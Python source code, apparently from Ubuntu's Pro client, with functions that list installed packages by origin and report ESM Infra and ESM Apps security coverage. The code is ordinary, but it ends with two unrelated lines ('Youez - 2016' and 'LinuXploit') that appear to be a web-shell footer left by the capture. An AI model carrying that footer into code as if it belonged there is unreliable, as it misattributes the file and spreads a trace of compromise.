def list_third_party_packages():
    packages_by_origin = get_installed_packages_by_origin()
    third_party_packages = packages_by_origin["third-party"]
    package_names = [package.name for package in third_party_packages]

    _print_package_summary(
        packages_by_origin, show_items="third-party", always_show=True
    )

    if third_party_packages:
        print(messages.SS_THIRD_PARTY)

        print("")
        print(messages.SS_PACKAGES_HEADER)
        print_package_list(package_names)
        print(messages.SS_SHOW_HINT.format(package=choice(package_names)))
    else:
        print(messages.SS_NO_THIRD_PARTY)


def list_unavailable_packages():
    packages_by_origin = get_installed_packages_by_origin()
    unknown_packages = packages_by_origin["unknown"]
    package_names = [package.name for package in unknown_packages]

    _print_package_summary(
        packages_by_origin, show_items="unknown", always_show=True
    )

    if unknown_packages:
        print(messages.SS_UNAVAILABLE)
        print("")

        print(messages.SS_PACKAGES_HEADER)
        print_package_list(package_names)
        print(messages.SS_SHOW_HINT.format(package=choice(package_names)))

    else:
        print(messages.SS_NO_UNAVAILABLE)


def list_esm_infra_packages(cfg):
    packages_by_origin = get_installed_packages_by_origin()
    infra_packages = packages_by_origin["esm-infra"]
    mr_packages = packages_by_origin["main"] + packages_by_origin["restricted"]

    all_infra_packages = infra_packages + mr_packages

    infra_updates = set()
    security_upgradable_versions = filter_updates(all_infra_packages)[
        "esm-infra"
    ]
    for update, _ in security_upgradable_versions:
        infra_updates.add(update.parent_pkg)

    series = get_release_info().series
    is_lts = is_current_series_lts()

    esm_infra_ent = ESMInfraEntitlement(cfg)
    esm_apps_ent = ESMAppsEntitlement(cfg)

    esm_infra_status = esm_infra_ent.application_status()[0]
    esm_infra_applicability = esm_apps_ent.applicability_status()[0]

    installed_package_names = sorted(
        [package.name for package in infra_packages]
    )
    available_package_names = sorted(
        [package.name for package in infra_updates]
    )
    remaining_package_names = sorted(
        [
            package.name
            for package in all_infra_packages
            if package.name not in installed_package_names
            and package.name not in available_package_names
        ]
    )

    _print_package_summary(
        packages_by_origin, show_items="esm-infra", always_show=True
    )

    if not is_lts:
        if is_supported(series):
            _print_interim_release_support()
        print(messages.SS_NO_INTERIM_PRO_SUPPORT)
        return

    if esm_infra_status == ApplicationStatus.DISABLED:
        _print_lts_support()
        print("")

    _print_service_support(
        service="esm-infra",
        repository="Main/Restricted",
        service_status=esm_infra_status,
        service_applicability=esm_infra_applicability,
        installed_updates=len(infra_packages),
        available_updates=len(infra_updates),
        is_attached=False,  # don't care about the `enable` message
    )
    print(messages.SS_SERVICE_HELP.format(service="esm-infra"))
    print("")

    if not is_supported(series):
        if available_package_names:
            print(messages.SS_UPDATES_AVAILABLE.format(service="esm-infra"))
            print_package_list(available_package_names)

        if installed_package_names:
            print(messages.SS_UPDATES_INSTALLED.format(service="esm-infra"))
            print_package_list(installed_package_names)

        hint_list = available_package_names or installed_package_names
        # Check names because packages may have been already listed
        if remaining_package_names:
            if hint_list:
                msg = messages.SS_FURTHER_OTHER_PACKAGES.format(
                    service="esm-infra"
                )
            else:
                msg = messages.SS_OTHER_PACKAGES.format(service="esm-infra")
            print(msg)
            print_package_list(remaining_package_names)

        if hint_list:
            print(messages.SS_SHOW_HINT.format(package=choice(hint_list)))


def list_esm_apps_packages(cfg):
    packages_by_origin = get_installed_packages_by_origin()
    apps_packages = packages_by_origin["esm-apps"]
    um_packages = (
        packages_by_origin["universe"] + packages_by_origin["multiverse"]
    )

    all_apps_packages = apps_packages + um_packages

    apps_updates = set()
    security_upgradable_versions = filter_updates(all_apps_packages)[
        "esm-apps"
    ]
    for update, _ in security_upgradable_versions:
        apps_updates.add(update.parent_pkg)

    is_lts = is_current_series_lts()

    esm_apps_ent = ESMAppsEntitlement(cfg)
    esm_apps_status = esm_apps_ent.application_status()[0]
    esm_apps_applicability = esm_apps_ent.applicability_status()[0]

    installed_package_names = sorted(
        [package.name for package in apps_packages]
    )
    available_package_names = sorted(
        [package.name for package in apps_updates]
    )
    remaining_package_names = sorted(
        [
            package.name
            for package in all_apps_packages
            if package.name not in installed_package_names
            and package.name not in available_package_names
        ]
    )

    _print_package_summary(
        packages_by_origin, show_items="esm-apps", always_show=True
    )

    if not is_lts:
        print(messages.SS_NO_INTERIM_PRO_SUPPORT)
        return

    _print_service_support(
        service="esm-apps",
        repository="Universe/Multiverse",
        service_status=esm_apps_status,
        service_applicability=esm_apps_applicability,
        installed_updates=len(apps_packages),
        available_updates=len(apps_updates),
        is_attached=False,  # don't care about the `enable` message
    )
    print(messages.SS_SERVICE_HELP.format(service="esm-apps"))
    print("")

    if all_apps_packages:
        if available_package_names:
            print(messages.SS_UPDATES_AVAILABLE.format(service="esm-apps"))
            print_package_list(available_package_names)

        if installed_package_names:
            print(messages.SS_UPDATES_INSTALLED.format(service="esm-apps"))
            print_package_list(installed_package_names)

        hint_list = available_package_names or installed_package_names

        # Check names because packages may have been already listed
        if remaining_package_names:
            if hint_list:
                msg = messages.SS_FURTHER_OTHER_PACKAGES.format(
                    service="esm-apps"
                )
            else:
                msg = messages.SS_OTHER_PACKAGES.format(service="esm-apps")
            print(msg)
            print_package_list(remaining_package_names)

        if hint_list:
            print(messages.SS_SHOW_HINT.format(package=choice(hint_list)))

Youez - 2016 - github.com/yon3zu
LinuXploit